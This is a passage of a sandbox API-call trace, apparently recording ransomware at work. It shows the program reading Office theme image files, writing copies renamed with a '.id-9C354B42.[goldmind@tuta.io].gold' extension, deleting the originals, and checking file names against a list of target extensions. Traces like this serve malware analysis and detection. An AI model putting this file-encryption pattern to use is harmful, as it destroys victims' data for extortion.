returned 1 [0041.816] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf80, lpOverlapped=0x0) returned 1 [0041.817] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0041.817] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.817] SetEndOfFile (hFile=0x19c) returned 1 [0041.817] CloseHandle (hObject=0x19c) returned 1 [0041.817] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.817] SetEndOfFile (hFile=0x1e4) returned 1 [0041.818] CloseHandle (hObject=0x1e4) returned 1 [0041.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.818] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0041.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0041.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0041.819] lstrlenW (lpString=".doc") returned 4 [0041.819] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.819] lstrlenW (lpString=".docx") returned 5 [0041.819] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.819] lstrlenW (lpString=".pdf") returned 4 [0041.819] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.819] lstrlenW (lpString=".xls") returned 4 [0041.819] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.819] lstrlenW (lpString=".xlsx") returned 5 [0041.819] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.819] lstrlenW (lpString=".ppt") returned 4 [0041.819] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0041.819] lstrlenW (lpString=".zip") returned 4 [0041.819] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.819] lstrlenW (lpString=".rar") returned 4 [0041.819] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.819] lstrlenW (lpString=".bz2") returned 4 [0041.819] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.819] lstrlenW (lpString=".7z") returned 3 [0041.819] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0041.819] lstrlenW (lpString=".dbf") returned 4 [0041.819] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0041.819] lstrlenW (lpString=".1cd") returned 4 [0041.819] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0041.819] lstrlenW (lpString=".jpg") returned 4 [0041.819] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0041.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0041.819] lstrlenW (lpString=".doc") returned 4 [0041.819] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.819] lstrlenW (lpString=".docx") returned 5 [0041.819] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.819] lstrlenW (lpString=".pdf") returned 4 [0041.819] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.819] lstrlenW (lpString=".xls") returned 4 [0041.819] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.819] lstrlenW (lpString=".xlsx") returned 5 [0041.819] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.819] lstrlenW (lpString=".ppt") returned 4 [0041.819] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0041.819] lstrlenW (lpString=".zip") returned 4 [0041.819] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.819] lstrlenW (lpString=".rar") returned 4 [0041.819] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.819] lstrlenW (lpString=".bz2") returned 4 [0041.819] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.819] lstrlenW (lpString=".7z") returned 3 [0041.819] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0041.820] lstrlenW (lpString=".dbf") returned 4 [0041.820] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0041.820] lstrlenW (lpString=".1cd") returned 4 [0041.820] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0041.820] lstrlenW (lpString=".jpg") returned 4 [0041.820] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.820] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.820] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0041.850] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=18817) returned 1 [0041.850] CloseHandle (hObject=0x184) returned 1 [0041.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0041.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.857] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.857] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0041.863] GetLastError () returned 0x0 [0041.863] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x4981, lpOverlapped=0x0) returned 1 [0041.883] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x4990, lpOverlapped=0x0) returned 1 [0041.884] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0041.884] WriteFile (in: hFile=0x184, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.884] SetEndOfFile (hFile=0x184) returned 1 [0041.884] CloseHandle (hObject=0x184) returned 1 [0041.885] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.885] SetEndOfFile (hFile=0x1e4) returned 1 [0041.885] CloseHandle (hObject=0x1e4) returned 1 [0041.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.886] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0041.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0041.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0041.886] lstrlenW (lpString=".doc") returned 4 [0041.886] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.886] lstrlenW (lpString=".docx") returned 5 [0041.886] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.886] lstrlenW (lpString=".pdf") returned 4 [0041.886] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.886] lstrlenW (lpString=".xls") returned 4 [0041.886] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.886] lstrlenW (lpString=".xlsx") returned 5 [0041.886] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.886] lstrlenW (lpString=".ppt") returned 4 [0041.886] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0041.886] lstrlenW (lpString=".zip") returned 4 [0041.886] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.886] lstrlenW (lpString=".rar") returned 4 [0041.886] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.886] lstrlenW (lpString=".bz2") returned 4 [0041.886] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.886] lstrlenW (lpString=".7z") returned 3 [0041.886] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0041.886] lstrlenW (lpString=".dbf") returned 4 [0041.886] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0041.886] lstrlenW (lpString=".1cd") returned 4 [0041.886] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0041.886] lstrlenW (lpString=".jpg") returned 4 [0041.886] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0041.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0041.886] lstrlenW (lpString=".doc") returned 4 [0041.886] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.886] lstrlenW (lpString=".docx") returned 5 [0041.886] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.887] lstrlenW (lpString=".pdf") returned 4 [0041.887] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.887] lstrlenW (lpString=".xls") returned 4 [0041.887] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.887] lstrlenW (lpString=".xlsx") returned 5 [0041.887] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.887] lstrlenW (lpString=".ppt") returned 4 [0041.887] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0041.887] lstrlenW (lpString=".zip") returned 4 [0041.887] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.887] lstrlenW (lpString=".rar") returned 4 [0041.887] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.887] lstrlenW (lpString=".bz2") returned 4 [0041.887] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.887] lstrlenW (lpString=".7z") returned 3 [0041.887] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0041.887] lstrlenW (lpString=".dbf") returned 4 [0041.887] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0041.887] lstrlenW (lpString=".1cd") returned 4 [0041.887] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0041.887] lstrlenW (lpString=".jpg") returned 4 [0041.887] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.887] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.887] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.887] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1659) returned 1 [0041.887] CloseHandle (hObject=0x1e4) returned 1 [0041.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0041.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.888] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.888] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.901] GetLastError () returned 0x0 [0041.901] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x67b, lpOverlapped=0x0) returned 1 [0041.942] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x680, lpOverlapped=0x0) returned 1 [0041.942] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0041.942] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.942] SetEndOfFile (hFile=0x200) returned 1 [0041.943] CloseHandle (hObject=0x200) returned 1 [0041.943] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.943] SetEndOfFile (hFile=0x1e4) returned 1 [0041.943] CloseHandle (hObject=0x1e4) returned 1 [0041.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.944] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0041.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0041.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0041.944] lstrlenW (lpString=".doc") returned 4 [0041.944] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.944] lstrlenW (lpString=".docx") returned 5 [0041.944] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.944] lstrlenW (lpString=".pdf") returned 4 [0041.944] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.944] lstrlenW (lpString=".xls") returned 4 [0041.944] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.944] lstrlenW (lpString=".xlsx") returned 5 [0041.944] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.944] lstrlenW (lpString=".ppt") returned 4 [0041.944] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0041.944] lstrlenW (lpString=".zip") returned 4 [0041.944] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.944] lstrlenW (lpString=".rar") returned 4 [0041.944] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.944] lstrlenW (lpString=".bz2") returned 4 [0041.944] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.944] lstrlenW (lpString=".7z") returned 3 [0041.944] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0041.944] lstrlenW (lpString=".dbf") returned 4 [0041.944] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0041.944] lstrlenW (lpString=".1cd") returned 4 [0041.944] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0041.944] lstrlenW (lpString=".jpg") returned 4 [0041.944] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0041.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0041.944] lstrlenW (lpString=".doc") returned 4 [0041.945] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.945] lstrlenW (lpString=".docx") returned 5 [0041.945] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.945] lstrlenW (lpString=".pdf") returned 4 [0041.945] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.945] lstrlenW (lpString=".xls") returned 4 [0041.945] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.945] lstrlenW (lpString=".xlsx") returned 5 [0041.945] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.945] lstrlenW (lpString=".ppt") returned 4 [0041.945] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0041.945] lstrlenW (lpString=".zip") returned 4 [0041.945] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.945] lstrlenW (lpString=".rar") returned 4 [0041.945] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.945] lstrlenW (lpString=".bz2") returned 4 [0041.945] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.945] lstrlenW (lpString=".7z") returned 3 [0041.945] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0041.945] lstrlenW (lpString=".dbf") returned 4 [0041.945] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0041.945] lstrlenW (lpString=".1cd") returned 4 [0041.945] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0041.945] lstrlenW (lpString=".jpg") returned 4 [0041.945] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.945] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.945] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.957] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=44850) returned 1 [0041.957] CloseHandle (hObject=0x200) returned 1 [0041.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0041.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.957] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.958] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0041.958] GetLastError () returned 0x0 [0041.958] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xaf32, lpOverlapped=0x0) returned 1 [0041.961] WriteFile 